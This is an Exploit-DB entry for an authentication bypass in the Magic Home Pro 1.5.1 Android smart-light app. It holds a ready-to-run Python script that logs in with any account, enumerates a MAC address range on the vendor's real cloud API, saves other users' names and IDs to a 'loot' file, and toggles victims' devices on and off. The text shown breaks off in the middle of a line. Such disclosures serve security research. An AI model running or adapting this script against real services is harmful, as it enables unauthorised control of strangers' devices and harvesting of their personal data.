Exploit-DB #49266
Description: Magic Home Pro 1.5.1 - Authentication Bypass
Type: webapps
Platform: android
Date: 2020-12-16
Author: Victor Hanna

Exploit:
# Exploit Title: Magic Home Pro 1.5.1 - Authentication Bypass 
# Google Dork: NA
# Date: 22 October 2020
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2020-27199/
# Vendor Homepage: http://www.zengge.com/appkzd
# Software Link: https://play.google.com/store/apps/details?id=com.zengge.wifi&hl=en
# Version: 1.5.1 (REQUIRED)
# Tested on: Android 10

## Enumeration ##

import requests
import json
import os
from colorama import init
from colorama import Fore, Back, Style
import re

'''
1. First Stage Authentication
2. Second Stage Enumerate
3. Third Stage Remote Execute
'''

global found_macaddresses
found_macaddresses = []
global outtahere
outtahere = ""
q = "q"
global token


def turnOn(target, token):

    urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
    array = {
        "dataCommandItems":[
            {"hexData":"71230fa3","macAddress":target}
        ]
    }
    data = json.dumps(array)
    headersOn = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "token":token,
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }
    print (Fore.WHITE + "[+] Sending Payload ...")
    response = requests.post(urlOn, data=data, headers=headersOn)
    if response.status_code == 200:
        if "true" in response.text:
            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
        else:
            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

    urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
    array = {
        "dataCommandItems":[
            {"hexData":"71240fa4","macAddress":target}
        ]
    }
    data = json.dumps(array)
    headersOff = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "token":token,
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }
    print (Fore.WHITE + "[+] Sending Payload ...")
    response = requests.post(urlOff, data=data, headers=headersOff)
    if response.status_code == 200:
        if "true" in response.text:
            print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
        else:
            print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

    outtahere = ""
    q = "q"
    if len(str(target)) < 12:
        print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
    elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
        while outtahere.lower() != q.lower():
            if outtahere == "0":
                turnOn(target, token)
            elif outtahere == "1":
                turnOff(target, token)
            outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)

def Main():
    urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"

    data = {
        "userID":"<Valid Registered Email/Username>",
        "password":"<Valid Registered Password>",
        "clientID":""
    }

    headersAuth = {
        "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
        "Accept-Language": "en-US",
        "Accept": "application/json", 
        "Content-Type": "application/json; charset=utf-8",
        "Host": "wifij01us.magichue.net",
        "Connection": "close",
        "Accept-Encoding": "gzip, deflate"
    }

    # First Stage Authenticate

    os.system('clear')
    print (Fore.WHITE + "[+] Authenticating ...")
    response = requests.post(urlAuth, json=data, headers=headersAuth)
    resJsonAuth = response.json()
    token = (resJsonAuth['token'])

    # Second Stage Enumerate

    print (Fore.WHITE + "[+] Enumerating ...")
    macbase = "C82E475DCE"
    macaddress = []
    a = ["%02d" % x for x in range(100)]
    for num in a:
        macaddress.append(macbase+num)

    with open('loot.txt', 'w') as f:
        for mac in macaddress:
            urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
            params = {
                "macAddress":mac
            }

            headersEnum = {
                "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
                "Accept-Language": "en-US",
                "Content-Type": "application/json; charset=utf-8",
                "Accept": "application/json",
                "token": token,
                "Host": "wifij01us.magichue.net",
                "Connection": "close",
                "Accept-Encoding": "gzip, deflate"
            }

            response = requests.get(urlEnum, params=params, headers=headersEnum)
            resJsonEnum = response.json()
            data = (resJsonEnum['data'])
            if not data:
                pass
            elif data:
                found_macaddresses.append(mac)
                print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
                f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL